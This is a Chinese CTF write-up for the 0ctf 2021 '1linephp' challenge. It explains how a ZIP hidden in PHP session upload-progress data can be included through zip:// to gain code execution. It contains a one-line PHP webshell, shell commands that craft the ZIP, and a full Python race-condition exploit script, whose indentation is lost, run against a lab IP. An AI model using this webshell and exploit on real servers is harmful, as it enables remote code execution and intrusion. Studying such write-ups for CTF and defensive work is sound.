题目
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

解析
PHP的zip扩展依赖libzip库,其解析ZIP文件的逻辑是从文件末尾反向查找关键标识:
- 先在文件末尾范围内查找EOCD(End of Central Directory,ZIP 文件的尾部标识,有固定 “MAGIC” 值);
- 定位CDH:通过EOCD中记录的offset(偏移量),向前找到CDH(Central Directory Header,中央目录头);
- 定位压缩数据:再通过CDH中记录的offset,向前找到LFH(Local File Header,本地文件头),最终读取压缩文件数据。
只要正确修改EOCD和CDH中的offset,让其指向正确的CDH和LFH,就可以在ZIP文件的开头、末尾或各部分之间插入任意多余数据,libzip仍能正常解析。
注意:如果在zip_open时开启了ZIP_CHECKCONS这个选项,那么解析zip时的检查会更严格。
PHP的PHP_SESSION_UPLOAD_PROGRESS(session.upload_progress.name默认值)特性是 “生成恶意文件” 的载体,其核心作用是将可控数据写入固定路径的session文件:
- session.upload_progress.enabled INI选项开启时(默认开启),PHP 处理文件上传时,会将上传进度信息(包括PHP_SESSION_UPLOAD_PROGRESS参数的自定义值)写入session文件;
- session文件路径固定:默认路径为/tmp/sess_<PHPSESSID>,只要知道PHPSESSID(可通过Cookie指定),就能精确定位文件;
- 通过上传大一点的文件来延长session文件的生存周期,便于恶意数据能被读取。
题解
通过题目可以看到session.upload_progress.enabled和session.upload_progress.name的设置。

在Cookie中找到PHPSESSID。

构造一句话木马用于触发include($_):@<?php $_GET['0']($_GET['1']);?>,写入include.php。在Linux终端执行以下命令,生成payload。upload_progress_前缀的作用是适配PHP Session上传进度的格式:PHP 在记录上传进度时,Session 文件中会包含upload_progress_<key>格式的键名。
zip a.zip include.php
echo -n "upload_progress_" > f
cat f a.zip > b.zip
zip -F b.zip --out c.zip
将大佬的exp修改使用:
import requests
import socket
import time
port = 50080
php_session_id = "l645nf32feems2k48phr3nk2nr"
ip = "192.168.88.128"
with open("c.zip", "rb") as f:
data = f.read()
PREFIX = "upload_progress_"
payload = data[len(PREFIX):]
def exp():
res = requests.get(
f"http://{ip}:{port}/",
params={
"yxxx": f"zip:///tmp/sess_{php_session_id}#include",
"0": "system",
"1": "ls /", #cat /dd810fc36330c200a_flag/flag
},
)
print(res.text)
def build_http_request_packet(req: requests.PreparedRequest):
packet = b""
packet += f"{req.method} {req.path_url} HTTP/1.1\r\n".encode()
for header, value in req.headers.items():
packet += f"{header}: {value}\r\n".encode()
packet += b"\r\n"
if req.body is not None:
if "Content-Length" in req.headers:
if type(req.body) is str:
packet += req.body.encode()
else:
packet += req.body
else:
for part in req.body:
packet += f"{len(part):x}\r\n".encode()
packet += f"{part}\r\n".encode()
packet += b"0\r\n\r\n"
return packet
def do_so():
req = requests.Request(
"POST",
f"http://{ip}:{port}/",
headers={"Host": f"{ip}:{port}"},
cookies={"PHPSESSID": php_session_id},
data={
"PHP_SESSION_UPLOAD_PROGRESS": payload,
},
files={"file": ("simple.txt", b"ccl" * 4096)}, # 延长session文件的生存周期
)
packet = build_http_request_packet(req.prepare())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((f"{ip}", port))
# 使一句话木马被充分执行
s.sendall(packet[:-8])
exp()
s.sendall(packet[-8:])
s.close()
if __name__ == "__main__":
do_so()
参考
WriteUp参考:
https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021/1linephp#writeup
payload生成参考:
https://github.com/perfectblue/ctf-writeups/tree/master/2021/0ctf-2021-quals/onelinephp
570

被折叠的 条评论
为什么被折叠?



